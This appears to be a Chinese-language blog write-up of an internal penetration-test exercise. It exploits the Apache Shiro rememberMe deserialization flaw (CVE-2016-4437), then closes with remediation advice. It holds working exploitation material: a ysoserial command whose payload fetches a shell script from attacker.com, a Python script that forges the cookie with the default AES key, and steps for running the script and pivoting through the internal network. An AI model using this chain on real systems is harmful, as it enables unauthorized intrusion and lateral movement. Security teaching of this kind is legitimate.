从一次内部攻防演练讲起:我是如何用Shiro反序列化漏洞(CVE-2016-4437)拿下内网机器的
从一次内部攻防演练看Shiro反序列化漏洞的实战利用那是一个普通的周三下午我正喝着咖啡准备开始当天的安全评估工作。作为企业内网渗透测试团队的一员这次的任务是对公司新上线的Java Web应用进行安全测试。没想到这次看似常规的评估却让我发现了一个潜伏在系统中的定时炸弹——Apache Shiro反序列化漏洞(CVE-2016-4437)。1. 漏洞发现与初步验证当我像往常一样使用Burp Suite对目标系统进行扫描时一个异常的响应引起了我的注意。在登录页面的HTTP响应头中赫然出现了Set-Cookie: rememberMedeleteMe的字段。这个特征立即触发了我的职业敏感——这很可能是Shiro框架的标志性特征。为了确认这一发现我迅速构造了一个测试请求POST /login HTTP/1.1 Host: target.com Cookie: rememberMetest当服务器再次返回rememberMedeleteMe时我几乎可以确定目标系统使用了存在漏洞的Shiro版本。接下来需要验证的是系统是否使用了默认密钥。2. 密钥爆破与漏洞确认Shiro反序列化漏洞的核心在于加密密钥。如果系统使用了默认密钥或弱密钥攻击者就可以构造恶意的rememberMe cookie来执行任意命令。我决定使用shiro_attack工具进行密钥爆破python3 shiro_attack.py -u http://target.com/login -v工具很快返回了结果——系统竟然使用了公开的默认密钥kPHbIxk5D2deZiIxcaaaA。这意味着漏洞利用的成功率将大大提高。注意在实际渗透测试中遇到非默认密钥的情况更为常见这时需要结合其他手段获取密钥或寻找其他攻击路径。3. 漏洞利用实战确认漏洞存在后我开始准备利用链。考虑到目标系统的环境我选择了CommonsBeanutils1作为gadget使用ysoserial生成payloadjava -jar ysoserial.jar CommonsBeanutils1 curl http://attacker.com/shell.sh -o /tmp/shell.sh payload.ser然后使用Python脚本将序列化数据加密为rememberMe cookieimport base64 from Crypto.Cipher import AES key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv b\x00*16 # 使用全零IV简化测试 cipher AES.new(key, AES.MODE_CBC, iv) with open(payload.ser, rb) as f: payload cipher.encrypt(f.read()) rememberMe base64.b64encode(payload).decode()将生成的rememberMe值放入请求cookie中发送后我立即检查了攻击服务器日志确认目标系统已经下载了我们的shell脚本。4. 权限提升与内网渗透获取初步立足点后我开始进行内网探测。通过执行ifconfig和netstat -tuln等命令我发现这台服务器还连接着多个内部系统。利用已获得的权限我上传了内网扫描工具chmod x /tmp/shell.sh /tmp/shell.sh # 后台运行内网扫描脚本扫描结果显示内网中存在多台未打补丁的Windows服务器。通过搭建Socks代理我成功将攻击面扩展到整个内网环境。5. 漏洞防御与修复建议这次演练暴露出几个严重问题过时的组件版本系统使用的Shiro版本低于1.2.4默认密钥风险使用了公开的默认加密密钥缺乏纵深防御内网系统间没有足够的隔离措施修复方案应当包括风险点修复措施实施难度Shiro版本升级到最新稳定版低加密密钥生成强随机密钥替换默认值中网络架构实施网络分段和访问控制高6. 渗透测试中的经验总结在这次演练中有几个关键点值得记录信息收集至关重要发现rememberMe特征是指向漏洞的关键线索工具链准备提前准备好ysoserial、shiro_attack等工具能节省大量时间利用链选择不同环境需要尝试不同的gadgetCommonsBeanutils1只是其中一种可能权限维持获得初始访问后要快速建立持久化通道实际渗透中遇到的挑战往往比实验室环境复杂得多。记得有一次遇到Shiro应用虽然存在漏洞特征但所有公开密钥都无法解密。后来通过分析应用代码发现开发人员对密钥进行了二次编码这种变种情况需要特别关注。